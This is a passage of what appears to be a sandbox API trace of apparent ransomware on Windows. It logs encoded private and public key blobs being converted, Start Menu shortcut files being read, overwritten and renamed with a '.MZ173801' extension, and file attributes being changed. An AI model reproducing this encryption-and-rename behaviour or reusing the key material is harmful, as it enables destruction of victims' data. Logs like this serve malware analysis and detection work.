KQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.319] GetCurrentThreadId () returned 0xab4 [0213.319] GetCurrentThreadId () returned 0xab4 [0213.319] GetCurrentThreadId () returned 0xab4 [0213.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.320] GetCurrentThreadId () returned 0xab4 [0213.320] GetCurrentThreadId () returned 0xab4 [0213.320] GetCurrentThreadId () returned 0xab4 [0213.320] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.320] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.321] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.321] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x486 [0213.321] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.321] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x486, lpOverlapped=0x0) returned 1 [0213.363] CloseHandle (hObject=0x330) returned 1 [0213.363] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.364] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x486, lpOverlapped=0x0) returned 1 [0213.365] CloseHandle (hObject=0x330) returned 1 [0213.365] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk.mz173801")) returned 1 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] GetCurrentThreadId () returned 0xab4 [0213.366] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64367fd2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x64367fd2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x64367fd2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Disk Cleanup.lnk", cAlternateFileName="")) returned 1 [0213.366] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.366] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.366] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64367fd2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x64367fd2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x64367fd2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c)) returned 1 [0213.366] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk")) returned 0x20 [0213.366] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk", dwFileAttributes=0x80) returned 1 [0213.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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